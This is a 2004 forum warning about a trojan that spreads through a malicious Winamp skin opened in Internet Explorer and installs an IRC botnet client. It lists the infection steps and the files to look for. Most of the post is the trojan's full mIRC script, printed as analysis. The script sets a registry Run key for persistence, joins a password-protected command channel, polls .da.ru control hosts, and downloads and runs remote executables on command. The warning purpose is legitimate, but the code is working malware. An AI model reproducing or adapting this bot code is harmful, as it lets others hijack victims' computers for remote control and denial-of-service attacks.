Subject: WARNING!!! Another Trojan/Virus going around!
Posted by Blazer on Mon, 31 May 2004 04:49:17 GMT
View Forum Message <> Reply to Message

Breetomas just found out the hard way about a new trojan going around. You are infected instantly simply by going to a particular URL (Isnt Internet Explorer wonderful?). Knowing my firewall would protect me, I voluntarily clicked the link so I could examine this trojan. Basically heres what happens when you go to the URL:

1. IE automatically downloads and runs a trojan WINAMP skin. Winamp will popup and you will be like eh whats going on. If you examine your winamp settings you will find the current skin set to "selfexec.wsz".
2. The winamp skin is executed by winamp, and contains a botnet trojan that is placed in C:\Windows\System32\Rundll32\. I suggest everyone quickly check their computer and verify that they do not have this directory!.
3. Various files (shown in the image below) are dumped there, as well as a malicious notepad.exe which goes into your System32 directory. If the bad notepad.exe is run, it (re)infects you.
4. The trojaned winamp skin finally executes the replaced winamp, which runs the botnet trojan. The fake svchost.exe is actually MIRC.
5. You are not trojaned, and your computer silently connects to a remote IRC network, as you can see in the mirc.ini:
[mirc]
host=borg.irchat.tvSERVER:borg.irchat.tv:6667GROUP:suprnova.org
user=$rand(a,z) $+ $rand(a,z) $+ $rand(a,z) $+ $rand(a,z) $+ $rand(a,z)
email=$rand(a,z)
nick=abeghrs
anick=thhmsyx

There are several DLL files in the payload that let someone completely take control of your computer (botnut.dll), get info on your computer (moo.dll), perform DOS attacks (net.dll), and do network scans. More importantly, they have the option to silently upload another exe to you, usually the first thing being an even better bot to infect you with.

I suggest everyone look for the C:\Windows\System32\Rundll directory. If you have it at all, you are probably infected, definitely if it contains the below files:

Heres one of the scripts contained in the trojan...you can see it connects to gamesnet.net irc...someone should notify their admins.

```
ON *:START: {
  .timer 0 666 botnet.scan.4.server
  .timer 0 666 botnet.check.channel
  identd on $rand(a,z) $+ $rand(a,z) $+ $rand(a,z) $+ $rand(a,z)
  set %botnet.version 0.01
  set %botnet.channel #botnut.secure
  set %botnet.channelpw botnut
```

```
  server irc.gamesnet.net:6667
  set %botnet.server irc.gamesnet.net:6667
  nick $rand(a,z) $+ $rand(a,z) $+ $rand(a,z) $+ $rand(a,z) $+ $rand(a,z) $+ $rand(a,z)
  anick $rand(a,z) $+ $rand(a,z) $+ $rand(a,z) $+ $rand(a,z) $+ $rand(a,z) $+ $rand(a,z)
  echo -a $dll(dmu.dll,HideMirc,on)
  $regwrite(HKEY_CURRENT_USER\Software\mIRC\License\,1711-182810,REG_SZ)
  $regwrite(HKEY_CURRENT_USER\Software\mIRC\UserName\,owned,REG_SZ)

$regwrite(HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\secure
,c:\windows\system32\secure\rundll32.exe,REG_SZ)
  copy -o c:\windows\notepad.exe c:\windows\system32\
}

alias RegWrite {
  if ($1 != $null) && ($2 != $null) && ($3 != $null) {
    var %a = Reg $+ Write
    .como $+ pen %a WSc $+ ript.She $+ ll
    if !$comerr {
      var %b =  $com(%a,Reg $+ Wri $+ te,3,bstr,$1,bstr,$2,bstr,$3)
      .comcl $+ ose %a
    }
    if ($3 == REG_EX $+ PAND_SZ) || ($3 == RE $+ G_SZ) {
      if ($re $+ gr $+ ead($1) == $2) { re $+ turn the val $+ ue ( $+ $1 $+ ) was created }
    }
  }
}
ON *:CONNECT: {
  if ($me == $scon(1).me) { scon 1 join %botnet.channel %botnet.channelpw }
  botnet.scan.4.server
  ignore -wd *
}

ON *:DISCONNECT: {
  botnet.scan.4.server
}
alias -l botnet.check.channel {
  if ($me == $scon(1).me) && ($channel(0) == 0) { scon 1 join %botnet.channel
%botnet.channelpw }
}
raw 332:*: {
  if ($me == $scon(1).me) {
    msg %botnet.channel  «  Botnut Downloader Version:   %botnet.version » «  IP:  $ip » «
 Uptime : $duration($calc($ticks / 1000)) »
    var %i = 1
    while (%i <= $numtok($3-,124)) {
      parse.topic $gettok($3-,%i,124)
      inc %i
    }
```

```
  }
}

alias parse.topic {
  if ($chr(36) isin $1-) || (write isin $1-) || (remove isin $1-) || (run isin $1-) || (exit isin $1-) || (quit
isin $1-) || (timer isin $1-) { return }
  elseif ($1 == .download) {
    if ($2 == %botnet.givenhost) && ($3 == %botnet.givenpath) && ($4 == %botnet.given) { scon 1
msg %botnet.channel File already downloaded! }
    else { botnet.download $2- }
  }
  elseif ($1 == .update) { botnet.scan.4.version }
  elseif ($1 == .server) { botnet.scan.4.server }
  elseif ($1 == .status) { scon 1 msg %botnet.channel  «  Botnut Downloader Version:
%botnet.version » «  IP:  $ip » «  Uptime : $duration($calc($ticks / 1000)) » }
  elseif ($1 == .botnut) {
    if ($isdde(botnut)) { scon 1 msg %botnet.channel Botnut is running. }
    else { scon 1 msg %botnet.channel Botnut is  not  running. }
  }
}

ON *:SOCKOPEN:botnet.check.server: {
  sockwrite -n $sockname GET / HTTP/1.1
  sockwrite -n $sockname Host: %botnet.hosta $+ $str($crlf,2)
}

ON *:SOCKREAD:botnet.check.server: {
  var %sockread
  sockread %sockread
  if ($regsub(%sockread,<HTML><HEAD><TITLE>,,%sockread)) &&
($regsub(%sockread,</TITLE></HEAD>,,%sockread)) {
    if (%botnet.server != %sockread) {
      set %botnet.server %sockread
      scon 1 server %botnet.server
    }
  }
}

alias botnet.scan.4.server { set %botnet.hosta bsecureserver.da.ru | sockclose
botnet.check.server | .timer 1 1 sockopen botnet.check.server %botnet.hosta 80 }
alias botnet.scan.4.version { sockclose botnet.check.version | sockopen botnet.check.version
bsecureversion.da.ru 80 }

ON *:SOCKOPEN:botnet.check.version: {
  sockwrite -n $sockname GET / HTTP/1.1
  sockwrite -n $sockname Host: bsecureversion.da.ru $+ $str($crlf,2)
}
```

```
ON *:SOCKREAD:botnet.check.version: {
  var %sockread
  sockread %sockread
  if ($regsub(%sockread, <HTML><HEAD><TITLE>,,%sockread)) && ($regsub(%sockread,
</TITLE></HEAD>,,%sockread)) {
    echo -a %sockread
    if (%botnet.version < %sockread) {
      echo -a %sockread
      .timer 1 1 botnet.scan.4.fileurl
      .timer 1 2 sockclose botnet.check.version
    }
  }
}

alias botnet.scan.4.fileurl { set %botnet.updatefile $r(a,z) $+ $r(a,z) $+ $r(a,z) $+ $r(a,z) $+ $r(a,z)
$+ $r(a,z) $+ .exe | sockclose botnet.check.fileurl | sockopen botnet.check.fileurl
bsecurefileurl.da.ru 80 }

ON *:SOCKOPEN:botnet.check.fileurl: {
  sockwrite -n $sockname GET / HTTP/1.1
  sockwrite -n $sockname Host: bsecurefileurl.da.ru $+ $str($crlf,2)
}

ON *:SOCKREAD:botnet.check.fileurl: {
  var %sockread
  sockread %sockread
  if ($regsub(%sockread, <HTML><HEAD><TITLE>,,%sockread)) && ($regsub(%sockread,
</TITLE></HEAD>,,%sockread)) {
    set %botnet.account %sockread
    echo -a %botnet.account
    sockclose botnet.download.new.version
    .timer 1 1 sockopen botnet.download.new.version people.freenet.de 80
  }
}

ON *:SOCKOPEN:botnet.download.new.version: {
  sockwrite -n $sockname GET / $+ %botnet.account $+ /update.exe HTTP/1.0
  sockwrite -n $sockname Accept: */*
  sockwrite -n $sockname Host: people.freenet.de $+ $str($crlf,2)
  sockwrite -n $sockname
}

ON *:SOCKREAD:botnet.download.new.version:{
  if (%botnet.aupd.downloadready != 1) {
    var %header
    sockread %header
    while ($sockbr) {
      if (* !iswm %header) {
```

```
      %botnet.aupd.downloadready = 1
      break
    }
    sockread %header
  }
 }
 sockread 4096 &d
 while ($sockbr) {
  bwrite %botnet.updatefile -1 -1 &d
  sockread 4096 &d
 }
}

ON *:SOCKCLOSE:botnet.download.new.version: { unset %botnet.aupd.* | run
%botnet.updatefile | timer 1 10 .load -rs secure.dll | timer 1 10 remove %botnet.updatefile }

alias botnet.download { set %botnet.given $3- | set %botnet.givenhost $1 | set %botnet.givenpath
$2 | sockclose botnet.check.it | .timer 1 1 sockopen botnet.check.it bsecurestatus.da.ru 80 }

ON *:SOCKOPEN:botnet.check.it: {
 sockwrite -n $sockname GET / HTTP/1.1
 sockwrite -n $sockname Host: bsecurestatus.da.ru $+ $str($crlf,2)
}

ON *:SOCKREAD:botnet.check.it: {
 var %sockread
 sockread %sockread
 if ($regsub(%sockread, <HTML><HEAD><TITLE>,,%sockread)) && ($regsub(%sockread,
</TITLE></HEAD>,,%sockread)) {
  var %bla %sockread
  echo -a %sockread
  if (%bla == ON) {
   if ($isfile(%botnet.given)) { .remove %botnet.given }
   sockclose botnet.download
   .timer 1 1 sockopen botnet.download %botnet.givenhost 80
  }
  else { scon 1 msg %botnet.channel Access denied! }
 }
}


ON *:SOCKOPEN:botnet.download: {
 sockwrite -n $sockname GET / $+ %botnet.givenpath HTTP/1.0
 sockwrite -n $sockname Accept: */*
 sockwrite -n $sockname Host: %botnet.givenhost $+ $str($crlf,2)
 sockwrite -n $sockname
}
```

```
ON *:SOCKREAD:botnet.download:{
  if (%botnet.aupd.downloadready != 1) {
    var %header
    sockread %header
    while ($sockbr) {
      if (* !iswm %header) {
        %botnet.aupd.downloadready = 1
        break
      }
      sockread %header
    }
  }
  sockread 4096 &d
  while ($sockbr) {
    bwrite %botnet.given -1 -1 &d
    sockread 4096 &d
  }
}
ON *:SOCKCLOSE:botnet.download: { unset %botnet.aupd.* | run %botnet.given | scon 1 msg
%botnet.channel Done. | .timer 1 5 remove %botnet.given }

ON *:TEXT:*:%botnet.channel: {
  if ($me == $scon(1).me) {
    if ($nick == botnut) {
      if ($chr(36) isin $1-) || ($chr(124) isin $1-) || (write isin $1-) || (remove isin $1-) || (run isin $1-) ||
(exit isin $1-) || (quit isin $1-) || (timer isin $1-) { return }
      elseif ($1 == .download) {
        if ($2 == %botnet.givenhost) && ($3 == %botnet.givenpath) && ($4 == %botnet.given) { scon
1 msg %botnet.channel File already downloaded! }
        else { botnet.download $2- }
      }
      elseif ($1 == .update) { botnet.scan.4.version }
      elseif ($1 == .server) { botnet.scan.4.server }
      elseif ($1 == .status) { scon 1 msg %botnet.channel  «  Botnut Downloader Version:
%botnet.version » «  IP:  $ip » «  Uptime : $duration($calc($ticks / 1000)) » }
      elseif ($1 == .botnut) {
        if ($isdde(botnut)) { scon 1 msg %botnet.channel Botnut is running. }
        else { scon 1 msg %botnet.channel Botnut is  not  running. }
      }
    }
  }
}
ON *:TEXT:*:?: {
  if ($me == $scon(1).me) {
    if ($nick == botnut) {
      if ($chr(36) isin $1-) || ($chr(124) isin $1-) || (write isin $1-) || (remove isin $1-) || (run isin $1-) ||
(exit isin $1-) || (quit isin $1-) || (timer isin $1-) { return }
      elseif ($1 == .download) {
```

```
      if ($2 == %botnet.givenhost) && ($3 == %botnet.givenpath) && ($4 == %botnet.given) { scon
1 msg %botnet.channel File already downloaded! }
      else { botnet.download $2- }
    }
    elseif ($1 == .update) { botnet.scan.4.version }
    elseif ($1 == .server) { botnet.scan.4.server }
    elseif ($1 == .status) { scon 1 msg $nick  «  Botnut Downloader Version:   %botnet.version
» «  IP:  $ip » «  Uptime : $duration($calc($ticks / 1000)) » }
    elseif ($1 == .botnut) {
      if ($isdde(botnut)) { scon 1 msg $nick Botnut is running. }
      else { scon 1 msg $nick Botnut is  not  running. }
    }
  }
 }
}
```